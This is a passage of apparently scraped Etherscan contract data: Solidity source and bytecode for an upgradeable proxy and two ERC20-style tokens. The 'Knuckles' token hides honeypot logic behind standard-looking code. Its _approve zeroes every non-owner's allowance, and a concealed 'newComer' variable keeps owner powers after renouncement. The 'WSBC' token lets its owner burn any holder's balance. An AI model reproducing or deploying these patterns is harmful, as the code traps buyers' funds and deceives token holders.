bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override virtual { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } }
0x60806040526004361061005e5760003560e01c80635c60da1b116100435780635c60da1b146101425780638f28397014610180578063f851a440146101c05761006d565b80633659cfe6146100755780634f1ef286146100b55761006d565b3661006d5761006b6101d5565b005b61006b6101d5565b34801561008157600080fd5b5061006b6004803603602081101561009857600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166101ef565b61006b600480360360408110156100cb57600080fd5b73ffffffffffffffffffffffffffffffffffffffff823516919081019060408101602082013564010000000081111561010357600080fd5b82018360208201111561011557600080fd5b8035906020019184600183028401116401000000008311171561013757600080fd5b509092509050610243565b34801561014e57600080fd5b50610157610317565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b34801561018c57600080fd5b5061006b600480360360208110156101a357600080fd5b503573ffffffffffffffffffffffffffffffffffffffff1661036e565b3480156101cc57600080fd5b50610157610476565b6101dd6104c1565b6101ed6101e8610555565b61057a565b565b6101f761059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561023857610233816105c3565b610240565b6102406101d5565b50565b61024b61059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561030a57610287836105c3565b60008373ffffffffffffffffffffffffffffffffffffffff1683836040518083838082843760405192019450600093509091505080830381855af49150503d80600081146102f1576040519150601f19603f3d011682016040523d82523d6000602084013e6102f6565b606091505b505090508061030457600080fd5b50610312565b6103126101d5565b505050565b600061032161059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103635761035c610555565b905061036b565b61036b6101d5565b90565b61037661059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102385773ffffffffffffffffffffffffffffffffffffffff8116610415576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806106e96036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61043e61059e565b6040805173ffffffffffffffffffffffffffffffffffffffff928316815291841660208301528051918290030190a161023381610610565b600061048061059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103635761035c61059e565b3b151590565b6104c961059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561054d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260328152602001806106b76032913960400191505060405180910390fd5b6101ed6101ed565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e808015610599573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b6105cc81610634565b60405173ffffffffffffffffffffffffffffffffffffffff8216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b61063d816104bb565b610692576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b81526020018061071f603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220f18021ccf4caeda92381153066b90d5e1abbacce61a73ea8e94a8529b70a5f8e64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
1,794
0x30f120ff08b14c626fabdec268e6fab8940e65d7
/** *Submitted for verification at Etherscan.io on 2021-10-18 */ /* ░█─▄▀ █▀▀▄ █──█ █▀▀ █─█ █── █▀▀ █▀▀   ░█─▄▀ ░█▄─░█ ░█─░█ ░█▀▀█ ░█─▄▀ ░█─── ░█▀▀▀ ░█▀▀▀█ ░█▀▄─ █──█ █──█ █── █▀▄ █── █▀▀ ▀▀█   ░█▀▄─ ░█░█░█ ░█─░█ ░█─── ░█▀▄─ ░█─── ░█▀▀▀ ─▀▀▀▄▄ ░█─░█ ▀──▀ ─▀▀▀ ▀▀▀ ▀─▀ ▀▀▀ ▀▀▀ ▀▀▀   ░█─░█ ░█──▀█ ─▀▄▄▀ ░█▄▄█ ░█─░█ ░█▄▄█ ░█▄▄▄ ░█▄▄▄█ https://t.me/KNUCKLEStoken */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract Knuckles is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**6 * 10**18; string private _name = ' Knuckles '; string private _symbol = 'KNUCKLES '; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220a8c5e5cf9fa9f1a7977a081ffff89106b995206b8d77b53dd8dd86c526e30c2864736f6c634300060c0033
{"success": true, "error": null, "results": {}}
1,795
0x546f05e8130bc42a26a119317c8b8c2395466245
/** *Submitted for verification at Etherscan.io on 2021-02-21 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract WSBC is Context, IERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; address private _owner; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All three of these values are immutable: they can only be set once during * construction. */ constructor () { _name = "WallStreetBetsCoin"; _symbol = "WSBC"; _totalSupply = 71000000* 10**uint(decimals()); _balances[_msgSender()] = _totalSupply; _owner = _msgSender(); } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overloaded; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return 10; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function ownerAddress() public view returns(address) { return _owner; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } function burn(address account,uint256 amount) public { require(_msgSender() == _owner); _burn(account,amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c5780639dc29fac116100665780639dc29fac1461022a578063a457c2d714610246578063a9059cbb14610276578063dd62ed3e146102a6576100cf565b806370a08231146101be5780638f84aa09146101ee57806395d89b411461020c576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461012257806323b872dd14610140578063313ce56714610170578063395093511461018e575b600080fd5b6100dc6102d6565b6040516100e9919061117d565b60405180910390f35b61010c60048036038101906101079190610f5b565b610368565b6040516101199190611162565b60405180910390f35b61012a610386565b60405161013791906112bf565b60405180910390f35b61015a60048036038101906101559190610f0c565b610390565b6040516101679190611162565b60405180910390f35b610178610491565b60405161018591906112da565b60405180910390f35b6101a860048036038101906101a39190610f5b565b61049a565b6040516101b59190611162565b60405180910390f35b6101d860048036038101906101d39190610ea7565b610546565b6040516101e591906112bf565b60405180910390f35b6101f661058e565b6040516102039190611147565b60405180910390f35b6102146105b8565b604051610221919061117d565b60405180910390f35b610244600480360381019061023f9190610f5b565b61064a565b005b610260600480360381019061025b9190610f5b565b6106b9565b60405161026d9190611162565b60405180910390f35b6102906004803